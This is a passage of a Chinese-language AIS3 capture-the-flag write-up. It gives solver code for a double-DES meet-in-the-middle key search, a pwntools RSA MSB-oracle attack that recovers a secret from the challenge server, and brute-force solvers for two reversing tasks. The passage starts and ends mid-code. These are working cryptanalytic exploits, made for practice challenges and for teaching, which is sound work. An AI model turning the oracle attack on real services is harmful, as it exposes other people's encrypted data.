class="string">&quot;f&quot;</span>&lt;&lt;h&lt;&lt;<span class="string">&quot;\n&quot;</span>;</span><br><span class="line">                                &#125;</span><br><span class="line">                            &#125;</span><br><span class="line">                        &#125;</span><br><span class="line">                    &#125;</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    MyFile.<span class="built_in">close</span>();</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">// key.txt</span></span><br></pre></td></tr></table></figure><p>生成<code>key.txt</code>之後，我針對題目所給的<code>hint_pt</code>與<code>hint</code>分別進行加密與解密，並且儲存到<code>en.txt</code>與<code>de.txt</code>兩個檔案中。</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> crypto = <span class="built_in">require</span>(<span class="string">&#x27;crypto&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> iv = <span class="title class_">Buffer</span>.<span class="title function_">concat</span>([<span class="title class_">Buffer</span>.<span class="title function_">from</span>(<span class="string">&#x27;AIS3 三&#x27;</span>)])</span><br><span class="line"><span class="keyword">let</span> hint_pt = <span class="title class_">Buffer</span>.<span class="title function_">from</span>(<span class="string">&#x27;414953337b3f3f3f3f3f3f3f3f3f3f7d&#x27;</span>,<span class="string">&quot;hex&quot;</span>)</span><br><span class="line"><span class="keyword">let</span> hint = <span class="title class_">Buffer</span>.<span class="title function_">from</span>(<span class="string">&#x27;118cd68957ac93b269335416afda70e6d79ad65a09b0c0c6c50917e0cee18c93&#x27;</span>, <span class="string">&quot;hex&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> fs = <span class="built_in">require</span>(<span class="string">&#x27;fs&#x27;</span>);</span><br><span class="line"><span class="keyword">var</span> readline = <span class="built_in">require</span>(<span class="string">&#x27;readline&#x27;</span>);</span><br><span class="line"><span class="keyword">var</span> inputStream = fs.<span class="title function_">createReadStream</span>(<span class="string">&#x27;key.txt&#x27;</span>);</span><br><span class="line"><span class="keyword">var</span> lineReader = readline.<span class="title function_">createInterface</span>(&#123; <span class="attr">input</span>: inputStream &#125;);</span><br><span class="line">lineReader.<span class="title function_">on</span>(<span class="string">&#x27;line&#x27;</span>, <span class="keyword">function</span>(<span class="params">line</span>) &#123;</span><br><span class="line">    <span class="keyword">let</span> key1 = <span class="title class_">Buffer</span>.<span class="title function_">from</span>(line,<span class="string">&quot;hex&quot;</span>)</span><br><span class="line">    k = <span class="title function_">encrypt</span>(hint_pt, key1, iv)</span><br><span class="line">    fs.<span class="title function_">appendFile</span>(<span class="string">&#x27;en.txt&#x27;</span>, key1.<span class="title function_">toString</span>(<span class="string">&quot;hex&quot;</span>)+<span class="string">&#x27; &#x27;</span>+k.<span class="title function_">toString</span>(<span class="string">&quot;hex&quot;</span>)+<span class="string">&#x27;\n&#x27;</span>, <span class="keyword">function</span> (<span class="params">err</span>) &#123;</span><br><span class="line">        <span class="keyword">if</span> (err)</span><br><span class="line">            <span class="variable language_">console</span>.<span class="title function_">log</span>(err);</span><br><span class="line">    &#125;);</span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">encrypt</span>(<span class="params">msg, key, iv</span>) &#123;</span><br><span class="line">    <span class="keyword">const</span> cipher = crypto.<span class="title function_">createCipheriv</span>(<span class="string">&#x27;des-cbc&#x27;</span>, key, iv)</span><br><span class="line">    <span class="keyword">let</span> encrypted = cipher.<span class="title function_">update</span>(msg)</span><br><span class="line">    encrypted = <span class="title class_">Buffer</span>.<span class="title function_">concat</span>([encrypted, cipher.<span class="title function_">final</span>()])</span><br><span class="line">    <span class="keyword">return</span> encrypted</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">// en.txt</span></span><br></pre></td></tr></table></figure><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> crypto = <span class="built_in">require</span>(<span class="string">&#x27;crypto&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> iv = <span class="title class_">Buffer</span>.<span class="title function_">concat</span>([<span class="title class_">Buffer</span>.<span class="title function_">from</span>(<span class="string">&#x27;AIS3 三&#x27;</span>)])</span><br><span class="line"><span class="keyword">let</span> hint_pt = <span class="title class_">Buffer</span>.<span class="title function_">from</span>(<span class="string">&#x27;414953337b3f3f3f3f3f3f3f3f3f3f7d&#x27;</span>,<span class="string">&quot;hex&quot;</span>)</span><br><span class="line"><span class="keyword">let</span> hint = <span class="title class_">Buffer</span>.<span class="title function_">from</span>(<span class="string">&#x27;118cd68957ac93b269335416afda70e6d79ad65a09b0c0c6c50917e0cee18c93&#x27;</span>, <span class="string">&quot;hex&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> fs = <span class="built_in">require</span>(<span class="string">&#x27;fs&#x27;</span>);</span><br><span class="line"><span class="keyword">var</span> readline = <span class="built_in">require</span>(<span class="string">&#x27;readline&#x27;</span>);</span><br><span class="line"><span class="keyword">var</span> inputStream = fs.<span class="title function_">createReadStream</span>(<span class="string">&#x27;key.txt&#x27;</span>);</span><br><span class="line"><span class="keyword">var</span> lineReader = readline.<span class="title function_">createInterface</span>(&#123; <span class="attr">input</span>: inputStream &#125;);</span><br><span class="line">lineReader.<span class="title function_">on</span>(<span class="string">&#x27;line&#x27;</span>, <span class="keyword">function</span>(<span class="params">line</span>) &#123;</span><br><span class="line">    <span class="keyword">let</span> key2 = <span class="title class_">Buffer</span>.<span class="title function_">from</span>(line,<span class="string">&quot;hex&quot;</span>)</span><br><span class="line">    <span class="keyword">try</span>&#123;</span><br><span class="line">        k = <span class="title function_">decrypt</span>(hint, key2, iv)</span><br><span class="line">        <span class="keyword">if</span>(k.<span class="title function_">toString</span>(<span class="string">&quot;hex&quot;</span>).<span class="property">length</span> &lt; <span class="number">50</span>)&#123;</span><br><span class="line">            <span class="variable language_">console</span>.<span class="title function_">log</span>(key2.<span class="title function_">toString</span>(<span class="string">&quot;hex&quot;</span>), k.<span class="title function_">toString</span>(<span class="string">&quot;hex&quot;</span>))</span><br><span class="line">        &#125;</span><br><span class="line">        fs.<span class="title function_">appendFile</span>(<span class="string">&#x27;de.txt&#x27;</span>, key2.<span class="title function_">toString</span>(<span class="string">&quot;hex&quot;</span>)+<span class="string">&#x27; &#x27;</span>+k.<span class="title function_">toString</span>(<span class="string">&quot;hex&quot;</span>)+<span class="string">&#x27;\n&#x27;</span>, <span class="keyword">function</span> (<span class="params">err</span>) &#123;</span><br><span class="line">            <span class="keyword">if</span> (err)</span><br><span class="line">                <span class="variable language_">console</span>.<span class="title function_">log</span>(err);</span><br><span class="line">        &#125;);</span><br><span class="line">    &#125;<span class="keyword">catch</span>&#123;&#125;</span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">decrypt</span>(<span class="params">msg, key, iv</span>) &#123;</span><br><span class="line">    <span class="keyword">const</span> decipher = crypto.<span class="title function_">createDecipheriv</span>(<span class="string">&#x27;des-cbc&#x27;</span>, key, iv)</span><br><span class="line">    <span class="keyword">let</span> decrypted = decipher.<span class="title function_">update</span>(msg, <span class="string">&#x27;nyan~&#x27;</span>)</span><br><span class="line">    decrypted = <span class="title class_">Buffer</span>.<span class="title function_">concat</span>([decrypted, decipher.<span class="title function_">final</span>()])</span><br><span class="line">    <span class="keyword">return</span> decrypted</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">// de.txt</span></span><br></pre></td></tr></table></figure><p>兩個分別生成到一半時因為我的電腦效能太差，且nodejs的輸出效率太慢了，所以我就把它們截斷，幸運的是在裡面找到了相同的中間密文<code>0015f807fa38ef42050da63c7100bc0f19c299aaa0323928</code>，而對應到的key1是<code>f5f1fbfff1fdf5f5</code>，key2則是<code>f7f9f9fff7fbf5f5</code>。拿著這兩把key去對原本的flag密文做解密即可拿到flag。</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> crypto = <span class="built_in">require</span>(<span class="string">&#x27;crypto&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> key1 = <span class="title class_">Buffer</span>.<span class="title function_">from</span>(<span class="string">&#x27;f5f1fbfff1fdf5f5&#x27;</span>,<span class="string">&quot;hex&quot;</span>)</span><br><span class="line"><span class="keyword">const</span> key2 = <span class="title class_">Buffer</span>.<span class="title function_">from</span>(<span class="string">&#x27;f7f9f9fff7fbf5f5&#x27;</span>,<span class="string">&quot;hex&quot;</span>)</span><br><span class="line"><span class="keyword">const</span> iv = <span class="title class_">Buffer</span>.<span class="title function_">concat</span>([<span class="title class_">Buffer</span>.<span class="title function_">from</span>(<span class="string">&#x27;AIS3 三&#x27;</span>)])</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> (<span class="keyword">let</span> i = <span class="number">0</span>; i &lt; <span class="number">8</span>; i++) &#123;</span><br><span class="line">    key1[i] = key1[i] | <span class="number">0b11110000</span></span><br><span class="line">    key2[i] = key2[i] | <span class="number">0b11110000</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">decrypt</span>(<span class="params">msg, key, iv</span>) &#123;</span><br><span class="line">    <span class="keyword">const</span> decipher = crypto.<span class="title function_">createDecipheriv</span>(<span class="string">&#x27;des-cbc&#x27;</span>, key, iv)</span><br><span class="line">    <span class="keyword">let</span> decrypted = decipher.<span class="title function_">update</span>(msg, <span class="string">&#x27;nyan~&#x27;</span>)</span><br><span class="line">    decrypted = <span class="title class_">Buffer</span>.<span class="title function_">concat</span>([decrypted, decipher.<span class="title function_">final</span>()])</span><br><span class="line">    <span class="keyword">return</span> decrypted</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">res=<span class="title class_">Buffer</span>.<span class="title function_">from</span>(<span class="string">&#x27;6020e9735ca3bf2f63aebcf3622c994880ffed2b509c91414c75d4c500ee80f4&#x27;</span>,<span class="string">&quot;hex&quot;</span>)</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="title function_">decrypt</span>(<span class="title function_">decrypt</span>(res, key2, iv), key1, iv).<span class="title function_">toString</span>(<span class="string">&#x27;utf8&#x27;</span>))</span><br></pre></td></tr></table></figure><p>FLAG: <code>AIS3&#123;折半枚舉&#125;</code></p><h2 id="MSB-Oracle-Attack-499"><a href="#MSB-Oracle-Attack-499" class="headerlink" title="MSB Oracle Attack [499]"></a>MSB Oracle Attack [499]</h2><div class="note default flat"><p>We all know RSA LSB oracle, but do you know MSB oracle?</p><p>Author: toxicpie</p><p><code>nc chals1.ais3.org 12347</code></p></div><blockquote><p>file: <a href="https://drive.google.com/file/d/15KSYACFO3m1NWoL_Yb33G-fBtzd17jvx/view?usp=sharing">https://drive.google.com/file/d/15KSYACFO3m1NWoL_Yb33G-fBtzd17jvx/view?usp=sharing</a></p></blockquote><p>先來看看source code。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> os</span><br><span class="line"><span class="keyword">import</span> random</span><br><span class="line"><span class="keyword">from</span> Crypto.Util.number <span class="keyword">import</span> getPrime</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">p = getPrime(<span class="number">512</span>)</span><br><span class="line">q = getPrime(<span class="number">512</span>)</span><br><span class="line">n = p * q</span><br><span class="line">e = <span class="number">65537</span></span><br><span class="line">d = <span class="built_in">pow</span>(e, -<span class="number">1</span>, (p - <span class="number">1</span>) * (q - <span class="number">1</span>))</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(<span class="string">f&#x27;Your key: <span class="subst">&#123;<span class="built_in">hex</span>(n)&#125;</span> <span class="subst">&#123;<span class="built_in">hex</span>(e)&#125;</span>&#x27;</span>)</span><br><span class="line"></span><br><span class="line">secret = random.randrange(n)</span><br><span class="line">hint = <span class="built_in">pow</span>(secret, e, n)</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(<span class="string">f&#x27;Your hint: <span class="subst">&#123;<span class="built_in">hex</span>(hint)&#125;</span>&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> _ <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1500</span>):</span><br><span class="line">    ct = <span class="built_in">int</span>(<span class="built_in">input</span>(<span class="string">&#x27;The ciphertext? &#x27;</span>), <span class="number">16</span>)</span><br><span class="line">    <span class="keyword">if</span> ct == <span class="number">0</span>:</span><br><span class="line">        <span class="keyword">break</span></span><br><span class="line">    pt = <span class="built_in">pow</span>(ct, d, n)</span><br><span class="line">    <span class="keyword">if</span> pt &gt; n // <span class="number">2</span>:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&#x27;Your plaintext is big&#x27;</span>)</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&#x27;Your plaintext is small&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> <span class="built_in">input</span>(<span class="string">&#x27;The secret? &#x27;</span>) == <span class="built_in">hex</span>(secret):</span><br><span class="line">    flag = os.environ[<span class="string">&#x27;FLAG&#x27;</span>]</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&#x27;Your flag: <span class="subst">&#123;flag&#125;</span>&#x27;</span>)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&#x27;No flag&#x27;</span>)</span><br></pre></td></tr></table></figure><p>這題題目提到LSB oracle，可以發現與本題的想法很像，題敘從原本LSB的奇偶轉換成$\dfrac{n}{2}$，不過很快就可以發現利用大於$\dfrac{n}{2}$與小於$\dfrac{n}{2}$的條件，搭配密文輸入</p><p>$hint\times(2^{power})^e=(secret\times 2^{power})^e$</p><p>，這時解密後會出現</p><p>$secret\times 2^{power}&gt;\dfrac{n}{2}\implies secret&gt;\dfrac{n}{2^{power+1}}$或</p><p>$secret\times 2^{power}&lt;\dfrac{n}{2}\implies secret&lt;\dfrac{n}{2^{power+1}}$</p><p>兩種情況，就可以作為二分搜的條件，來限縮secret的值，最後在1500次內找到趨近真實的secret，可以直接寫二分搜的exploit拿到flag。</p><p>不過在二分搜時，因為我所使用的是整除的二分搜，因此在最後的secret上會有小於10000的誤差，這時我利用for loop窮舉來判斷加密後的結果是否與給定的hint一致，就可以確定secret的值。輸入0跳出並輸入secret後就可以拿到flag。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">r=remote(<span class="string">&#x27;chals1.ais3.org&#x27;</span>,<span class="number">12347</span>)</span><br><span class="line"></span><br><span class="line">r.recvuntil(<span class="string">b&#x27;: &#x27;</span>)</span><br><span class="line">k=r.recvline().strip().decode().split(<span class="string">&#x27; &#x27;</span>)</span><br><span class="line">n=<span class="built_in">int</span>(k[<span class="number">0</span>],<span class="number">16</span>)</span><br><span class="line">e=<span class="built_in">int</span>(k[<span class="number">1</span>],<span class="number">16</span>)</span><br><span class="line"></span><br><span class="line">r.recvuntil(<span class="string">b&#x27;: &#x27;</span>)</span><br><span class="line">k=r.recvline().strip().decode()</span><br><span class="line">c=<span class="built_in">int</span>(k,<span class="number">16</span>)</span><br><span class="line"></span><br><span class="line">flag=<span class="number">0</span></span><br><span class="line">pwr=<span class="number">0</span></span><br><span class="line">lr=[<span class="number">0</span>,n]</span><br><span class="line"><span class="keyword">while</span>(flag&lt;<span class="number">1500</span>):</span><br><span class="line">    r.recvuntil(<span class="string">b&#x27;? &#x27;</span>)</span><br><span class="line">    payload=<span class="built_in">hex</span>((c*((<span class="number">2</span>**pwr)**e))%n)</span><br><span class="line">    r.sendline(payload)</span><br><span class="line">    k=r.recvline()</span><br><span class="line">    <span class="built_in">print</span>(k)</span><br><span class="line">    <span class="keyword">if</span> <span class="string">b&#x27;small&#x27;</span> <span class="keyword">in</span> k:</span><br><span class="line">        lr[<span class="number">1</span>]=(lr[<span class="number">0</span>]+lr[<span class="number">1</span>])//<span class="number">2</span></span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        lr[<span class="number">0</span>]=(lr[<span class="number">0</span>]+lr[<span class="number">1</span>])//<span class="number">2</span></span><br><span class="line">    <span class="built_in">print</span>(flag,lr)</span><br><span class="line">    flag+=<span class="number">1</span></span><br><span class="line">    pwr+=<span class="number">1</span></span><br><span class="line">    <span class="keyword">if</span> lr[<span class="number">0</span>]==lr[<span class="number">1</span>]:</span><br><span class="line">        <span class="keyword">break</span></span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="built_in">print</span>(<span class="built_in">abs</span>(lr[<span class="number">0</span>]-lr[<span class="number">1</span>]))</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">10000</span>):</span><br><span class="line">    m=lr[<span class="number">0</span>]+i</span><br><span class="line">    hint = <span class="built_in">pow</span>(m, e, n)</span><br><span class="line">    <span class="keyword">if</span> hint == c:</span><br><span class="line">        <span class="built_in">print</span>(<span class="built_in">hex</span>(m))</span><br><span class="line">        <span class="keyword">break</span></span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="built_in">print</span>(m, c)</span><br><span class="line"></span><br><span class="line">r.interactive()</span><br></pre></td></tr></table></figure><p>FLAG: <code>AIS3&#123;O0o0oO0o0oOooooO0o0oOOO0oO0o0o_Y0u_a43_4_tru1ly_Or4c13!!@#!@#!@#!@$!@$!@&#125;</code></p><h1 id="Reverse"><a href="#Reverse" class="headerlink" title="Reverse"></a>Reverse</h1><h2 id="Simply-Reverse-139"><a href="#Simply-Reverse-139" class="headerlink" title="Simply Reverse [139]"></a>Simply Reverse [139]</h2><div class="note default flat"><p>Just reverse it!</p></div><blockquote><p>file: <a href="https://drive.google.com/file/d/140muCIzd7q5vMZNwhL5DDLXAx6tguyHc/view?usp=sharing">https://drive.google.com/file/d/140muCIzd7q5vMZNwhL5DDLXAx6tguyHc/view?usp=sharing</a></p></blockquote><p>這題其實算是非常常見的Reverse基本題，用IDA看一下會發現裡面有一個<code>verify function</code>，<code>encrypted</code>是一個已知所有值的陣列，所以只要逆向之後利用他的if判斷式直接在printable ascii之中字典爆破就可以拿到flag了，從psuedo code可以看出flag長度為34。其中<code>*((signed int *)&amp;v2 - 1)</code>是index，<code>*(&amp;v2 - 3)</code>是flag陣列，而需要要注意的是<code>unsigned __int8</code>限制範圍在256，需要取mod 256才不會出錯。</p><p><img src="https://imgur.com/64zXG2R.png"></p><p>直接上exploit:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;bits/stdc++.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;stdint.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> IOS ios::sync_with_stdio(false);cin.tie(0);cout.tie(0);</span></span><br><span class="line"><span class="keyword">using</span> <span class="keyword">namespace</span> std;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> enc[<span class="number">34</span>]=&#123;</span><br><span class="line">  <span class="number">138</span>,  <span class="number">80</span>, <span class="number">146</span>, <span class="number">200</span>,   <span class="number">6</span>,  <span class="number">61</span>,  <span class="number">91</span>, <span class="number">149</span>, <span class="number">182</span>,  <span class="number">82</span>, </span><br><span class="line">   <span class="number">27</span>,  <span class="number">53</span>, <span class="number">130</span>,  <span class="number">90</span>, <span class="number">234</span>, <span class="number">248</span>, <span class="number">148</span>,  <span class="number">40</span>, <span class="number">114</span>, <span class="number">221</span>, </span><br><span class="line">  <span class="number">212</span>,  <span class="number">93</span>, <span class="number">227</span>,  <span class="number">41</span>, <span class="number">186</span>,  <span class="number">88</span>,  <span class="number">82</span>, <span class="number">168</span>, <span class="number">100</span>,  <span class="number">53</span>, </span><br><span class="line">  <span class="number">129</span>, <span class="number">172</span>,  <span class="number">10</span>, <span class="number">100</span></span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">int32_t</span> <span class="title">main</span><span class="params">()</span></span>&#123;</span><br><span class="line">    <span class="function">IOS</span></span><br><span class="line"><span class="function">    <span class="title">for</span><span class="params">(<span class="type">int</span> i=<span class="number">0</span>;i&lt;<span class="number">34</span>;i++)</span></span>&#123;</span><br><span class="line">        <span class="keyword">for</span>(<span class="type">int</span> j=<span class="number">0</span>;j&lt;<span class="number">128</span>;j++)&#123;</span><br><span class="line">            <span class="keyword">if</span>(enc[i]==((((i^j)&lt;&lt;((i^<span class="number">9</span>)&amp;<span class="number">3</span>))|((i^j)&gt;&gt;(<span class="number">8</span>-((i^<span class="number">9</span>)&amp;<span class="number">3</span>))))+<span class="number">8</span>)%<span class="number">256</span>)&#123;</span><br><span class="line">                cout&lt;&lt;<span class="built_in">char</span>(j);</span><br><span class="line">                <span class="keyword">break</span>;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    cout&lt;&lt;<span class="string">&quot;\n&quot;</span>;</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>FLAG: <code>AIS3&#123;0ld_Ch@1_R3V1_fr@m_AIS32016!&#125;</code></p><h2 id="Flag-Sleeper-379"><a href="#Flag-Sleeper-379" class="headerlink" title="Flag Sleeper [379]"></a>Flag Sleeper [379]</h2><div class="note default flat"><p>Taking a nap before entering the world of AIS3 is important! A good hacker requires good sleep, and so does this flag checker.</p><p>Author: TwinkleStar03 ✨</p></div><blockquote><p>file: <a href="https://drive.google.com/file/d/1-AkPHIHF0G9Y-3BMes2QHb1slRGeHuUo/view?usp=sharing">https://drive.google.com/file/d/1-AkPHIHF0G9Y-3BMes2QHb1slRGeHuUo/view?usp=sharing</a></p></blockquote><p>這題執行之後會發現他只會噴一個表情符號給你，但用IDA看不出甚麼東西，所以改用Ghidra，裡面可以發現<code>main</code>函數上面的一堆數字應該是三個陣列，而下面的code雖然有<code>rand()</code>，但他很明顯將<code>iVar2</code>限制在<code>0x34</code>之內，用這個來去取<code>iVar1</code>的值，而下方又利用<code>iVar2</code>作為index去將其餘兩個陣列的元素做xor，所以合理懷疑<code>iVar1</code>，也就是<code>local_358</code>是儲存index的陣列，而flag長度就是<code>0x34</code>。</p><p><img src="https://imgur.com/2YjK62d.png"></p><p>接下來，他將其他兩個陣列的數字利用<code>iVar2</code>作為index來xor，所以另外兩個陣列xor應該就是flag的字元，而根據index重新排列就能得到flag。直接寫出exploit拿到flag。</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;bits/stdc++.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;stdint.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> IOS ios::sync_with_stdio(false);cin.tie(0);cout.tie(0);</span></span><br><span class="line"><span class="keyword">using</span> <span class="keyword">namespace</span> std;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> ind[<span class="number">0x34</span>]=&#123;<span class="number">10</span>,<span class="number">0xc</span>,<span class="number">0x1c</span>,<span class="number">7</span>,<span class="number">0x26</span>,<span class="number">0x1f</span>,<span class="number">0x2f</span>,<span class="number">0x2c</span>,<span class="number">0x2a</span>,<span class="number">0x23</span>,<span class="number">0x30</span>,<span class="number">0x1e</span>,<span class="number">0x15</span>,<span class="number">0xb</span>,<span class="number">0x11</span>,<span class="number">0x10</span>,<span class="number">0x22</span>,<span class="number">0x28</span>,<span class="number">0x21</span>,<span class="number">0x27</span>,<span class="number">0x29</span>,<span class="number">9</span>,<span class="number">0x16</span>,<span class="number">4</span>,<span class="number">6</span>,<span class="number">0x14</span>,<span class="number">0x13</span>,<span class="number">0x2e</span>,<span class="number">0x17</span>,<span class="number">0x2d</span>,<span class="number">0x1a</span>,<span class="number">0</span>,<span class="number">0xf</span>,<span class="number">3</span>,<span class="number">8</span>,<span class="number">0x2b</span>,<span class="number">0xe</span>,<span class="number">5</span>,<span class="number">2</span>,<span class="number">0x1b</span>,<span class="number">0x31</span>,<span class="number">1</span>,<span class="number">0x33</span>,<span class="number">0x24</span>,<span class="number">0x25</span>,<span class="number">0x18</span>,<span class="number">0x19</span>,<span class="number">0x32</span>,<span class="number">0x20</span>,<span class="number">0xd</span>,<span class="number">0x1d</span>,<span class="number">0x12</span>&#125;;</span><br><span class="line"><span class="type">int</span> a[<span class="number">0x34</span>]=&#123;<span class="number">0xd4</span>,<span class="number">0xe8</span>,<span class="number">0xa4</span>,<span class="number">0x1c</span>,<span class="number">0xfd</span>,<span class="number">0x84</span>,<span class="number">0xc2</span>,<span class="number">0x2f</span>,<span class="number">0x2e</span>,<span class="number">0x96</span>,<span class="number">0x60</span>,<span class="number">0xd8</span>,<span class="number">0x79</span>,<span class="number">0xd8</span>,<span class="number">0x8c</span>,<span class="number">0xa4</span>,<span class="number">0x31</span>,<span class="number">0xdb</span>,<span 